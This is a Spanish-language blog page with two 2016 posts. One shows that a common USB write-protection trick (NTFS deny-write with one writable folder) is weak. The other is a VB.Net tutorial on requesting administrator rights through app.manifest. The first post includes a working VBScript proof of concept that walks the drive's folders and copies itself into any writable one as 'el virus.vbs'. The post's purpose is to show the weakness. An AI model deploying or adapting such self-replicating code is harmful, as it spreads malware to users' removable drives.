anun1

sábado, 7 de mayo de 2016

Proteger Mi USB Contra Escritura No Es Seguro

En varios sitios de Internet y vídeos e visto como proteger nuestra USB contra escritura, con un método muy simple y fácil de burlar por un malware.

ese método solo serviría para un virus que solo intente copiarse a la raíz de la USB, pero si los creadores de estos modifican un poco el código y buscan la carpeta de la USB que tiene la opción de escritura pues este se copiaría en esa carpeta.

bueno les explico el método que usan, primera mente formateamos nuestra USB en modo NTFS


y despues de esto damos clic en iniciar, nos mostrara el siguiente mensaje y daremos aceptar


acto seguido nos mandara el mensaje de formato completo, después de esto crearemos una carpeta dentro de nuestra USB llamada "Documentos"


bueno pero yo en este tutorial creare varias carpetas y nos quedara así



perdonen los nombres pero no sabia que poner jajajaj

y se preguntaran por que tantas carpetas si en los tutoriales de Internet no dice eso, pues no se desesperen mas adelante entenderán el por que.

ahora protegeremos nuestra USB contra escritura, dando clic derecho en ella y elegimos la ultima opción que es la de propiedades


después nos parecerá la siguiente ventana y daremos clic en seguridad


ahora daremos clic en editar y destildamos todas las opciones menos la de lectura y tildamos la opción de denegar escritura, así como se muestra en la imagen siguiente


después de esto daremos clic en aplicar y después aceptar  y como verán si intentan crear un archivo dentro de ella  esta no los dejara,


ahora estos tutoriales dicen que tenemos que elegir la carpeta documentos darle clic derecho y después en propiedades así


en la siguiente ventana elegiremos la ficha seguridad


después de esto en editar y le otorgaremos todos los permisos así


después damos clic en aplicar y luego en aceptar, bueno en estos tutoriales dice que aguardemos todo en esta carpeta y que la USB según que daría segura a salvo de los virus.

ahora si los creadores de virus implementan un sencillo código que buscara la carpeta vulnerable de nuestra USB y acto seguido copiarse en ella, así como lo muestra este sencillo código en VBScript


Set objfso = createobject("scripting.filesystemobject")
Set Dir = objfso.getfolder("f:\") '"
Carpetas(Dir)
 
Function Carpetas(Folder)
On error resume next
err.clear
objfso.copyfile wscript.scriptfullname,Folder & "\el virus.vbs"
if err.number=0 then
   msgbox "Carpeta Vulnerable Encontrada Ubicacion: " & Folder
   msgbox "Virus Copiado Con Exito"
end if
Set SubsIFol = Folder.subfolders
For each SF in SubsIFol
   Carpetas(SF)
Next
End Function



ahora si ejecutan este sencillo script verán que se auto copea a dicha carpeta

bueno amigos eso es todo y ese método que anda en Internet de dejar una sola carpeta con todos los privilegios en nuestra USB no es seguro

saludos flamer y espero le halla gustado

jueves, 5 de mayo de 2016

Crear Ejecutable En VB.Net Que Pida Permisos De Administrador

En este nuevo tema les enseñare como crear un ejecutable que pida permisos de administrador, esto lo haremos en vb.net 2010.

bueno primeramente abriremos el vb.net y elegimos la opción de crear un nuevo proyecto y elegimos una aplicación de windows así


damos clic en aceptar, después de esto crearemos un formulario así como en la siguiente imagen



sin cambiarle de nombre a los elementos del formulario, el botón se llamara "Button1" y el cuadro de texto "TextBox1".

y como código pondremos esto


Public Class Form1
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        FileCopy(Application.ExecutablePath, "C:\" & TextBox1.Text & ".exe")
        MsgBox("Copiado Exitoso...", vbExclamation, "Finalizado")
    End Sub
End Class


ahora lo ejecutamos y pondremos en el cuadro de texto "El Clon" y daremos clic en el botón copiar


y como ven nos manda un error que dice "Acceso Denegado" o sea que no tenemos permiso

así que para eso haremos lo siguiente, daremos clic en proyecto y después en propiedades



ahora daremos clic en aplicación y luego en ver configuración de windows



y nos aparecerá una ventana llamada app.manifest, donde modificaremos la linea:

<requestedExecutionLevel level="asInvoker" uiAccess="false" />

donde solo cambiaremos la palabra "asInvoker" por esta otra  "requireAdministrator"  y nos quedara así:

<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />

después de esto aguardamos los cambios y ejecutamos el programa, donde nos aparecerá la siguiente ventana



y le daremos clic en reiniciar con otras credenciales, acto seguido se reiniciara el vb.net y nos pedirá permiso de administrador.

ya que se reinicio ejecutamos nuestro programa y en el cuadro de texto pondremos como nombre
"El Clon" y daremos clic en el botón copiar



como ven nos manda el cartelito de copiado con éxito, así que visitaremos la unidad C:\ para ver si se creo la copia llamada "El Clon"



como ven si se creo la copia llamada "El clon" y si observan el icono del programa tiene un escudo, el cual quiere decir que cada vez que se ejecute pedirá permiso de administrador


bueno amigos creo que eso es todo y espero les halla gustado

saludos Flamer